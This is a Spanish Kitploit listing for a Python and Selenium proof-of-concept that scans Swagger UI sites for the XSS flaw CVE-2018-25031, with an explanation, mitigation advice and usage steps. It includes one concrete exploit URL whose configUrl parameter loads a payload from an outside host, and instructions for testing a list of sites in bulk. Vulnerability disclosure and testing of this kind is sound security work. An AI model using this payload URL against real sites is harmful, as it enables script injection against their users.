Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-25031 — Script de prueba de concepto basado en Python que demuestra la vulnerabilidad XSS CVE-2018-25031 en Swagger UI utilizando Selenium para la detección automatizada en múltiples endpoints. | Kitploit
Herramientas/GitHubGitHub/lucasrenaa/cve-2018-25031
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAprendizaje y EducaciónSeguridad de APIs
GitHublucasrenaa/cve-2018-25031

CVE-2018-25031

Script de prueba de concepto basado en Python que demuestra la vulnerabilidad XSS CVE-2018-25031 en Swagger UI utilizando Selenium para la detección automatizada en múltiples endpoints.

Ver Repositorio
4hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

POC de Cross-Site Scripting en Swagger UI: CVE-2018-25031 utilizando Selenium en Python

Este repositorio contiene un script en Python que demuestra una prueba de concepto (POC) de una vulnerabilidad de Cross-Site Scripting (XSS) en Swagger UI, usando la biblioteca Selenium. El objetivo de esta POC es identificar sitios que son susceptibles a esta vulnerabilidad mediante la explotación de Swagger UI con una carga maliciosa.

Vulnerabilidad de Cross-Site Scripting (XSS) en Swagger UI

Swagger UI es una herramienta ampliamente utilizada para visualizar e interactuar con APIs a través de una interfaz de usuario amigable. Sin embargo, en la versión 2.9.2, se identificó una vulnerabilidad de Cross-Site Scripting (XSS) que podría permitir que un atacante inyectara código JavaScript malicioso en páginas Swagger UI cargadas.

El XSS ocurre cuando una aplicación no valida adecuadamente los datos insertados por el usuario antes de mostrarlos en la página. En este caso, un atacante puede explotar la vulnerabilidad insertando código JavaScript malicioso en campos de entrada de Swagger UI, que se ejecutará en el contexto del navegador de otros usuarios que acceden a la misma página comprometida.

Ejemplo de XSS en Swagger UI

Nota: La imagen anterior ilustra un ejemplo de cómo un atacante puede insertar un payload de XSS en Swagger UI, aprovechando una falla de seguridad en las versiones afectadas.

Mitigación y Solución

La manera más eficaz de mitigar esta vulnerabilidad es garantizar que Swagger UI esté actualizado a una versión que no esté afectada. Verifique las versiones más recientes de Swagger UI y manténgalo siempre actualizado.

Para desarrolladores que deseen usar o personalizar Swagger UI, es fundamental realizar la validación adecuada de los datos de entrada antes de mostrarlos en la interfaz. Evitar la renderización directa de HTML o JavaScript insertado por los usuarios es una práctica recomendada para evitar vulnerabilidades de XSS.

Ejemplo de Explotación

Aquí hay un ejemplo simplificado de cómo se puede explotar la vulnerabilidad usando Swagger UI:

  1. El atacante accede a un Swagger UI vulnerable.
  2. El atacante identifica un campo de entrada donde puede insertar texto.
  3. El atacante inyecta un payload de XSS en la url, por ejemplo: http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
  4. Cuando otros usuarios acceden a la misma página comprometida, el payload de XSS se ejecuta en sus navegadores, mostrando una alerta con el mensaje "Vulnerabilidad de XSS".

Aviso

Esta sección está destinada únicamente a fines educativos e informativos. No incentive ni participe en actividades maliciosas o ilegales. Siempre siga las prácticas de divulgación responsable al reportar vulnerabilidades.

Requisitos previos

Asegúrese de tener los siguientes requisitos previos instalados antes de ejecutar el script:

  • Python: Asegúrese de tener Python instalado en su máquina.
  • Selenium: Instale la biblioteca Selenium usando el siguiente comando:
    root@kitploit:~
    pip install selenium
    
  • ChromeDriver: Asegúrese de tener el ChromeDriver compatible instalado. Puede descargar ChromeDriver desde el sitio oficial de Selenium o usar un administrador de paquetes, como WebDriver Manager.

Cómo usar el script

  1. Clone o descargue este repositorio en su máquina.

  2. Edite el archivo sites_para_testar.txt e inserte las URLs de los sitios que desea probar, una por línea.

  3. Abra una terminal en la carpeta del repositorio y ejecute el script usando el siguiente comando:

    root@kitploit:~
    python main.py
    
  4. El script recorrerá los sitios listados en el archivo sites_para_testar.txt, accederá a sus URLs de Swagger UI y verificará si se detecta una alerta de XSS. Los resultados se registrarán en tres archivos: valido.txt para URLs potencialmente vulnerables, talvezvalido.txt para URLs que pueden ser vulnerables y naovalido.txt para URLs no vulnerables.

Entendiendo el Script

El script utiliza la biblioteca Selenium para automatizar la interacción con el navegador Chrome. Carga las URLs de Swagger UI configuradas en el archivo sites_para_testar.txt, añade una carga maliciosa al parámetro configUrl y verifica si se activa una alerta de XSS.

El script hace uso de los siguientes pasos:

  1. Importa las bibliotecas necesarias de Selenium y otras dependencias.

  2. Configura las opciones de ChromeDriver para ignorar errores de SSL y certificado.

  3. Inicializa el driver de Chrome.

  4. Lee los sitios a probar del archivo sites_para_testar.txt e itera sobre ellos.

  5. Abre cada URL de Swagger UI con la carga maliciosa añadida.

  6. Intenta verificar si se activa una alerta de XSS.

  7. Según el resultado de la verificación, registra las URLs en los archivos valido.txt, talvezvalido.txt o naovalido.txt.

  8. Cierra el driver de Chrome.

Aviso Legal

Este script se proporciona únicamente con fines educativos y de concienciación sobre ciberseguridad. No debe usarse con fines maliciosos o ilegales. El autor no se hace responsable por cualquier uso indebido de este script ni por los daños derivados de su uso.

Contribución

Si encuentra alguna manera de mejorar este script o tiene sugerencias, no dude en crear una solicitud de pull.

Licencia

Este proyecto está licenciado bajo la Licencia MIT.

Descargar herramienta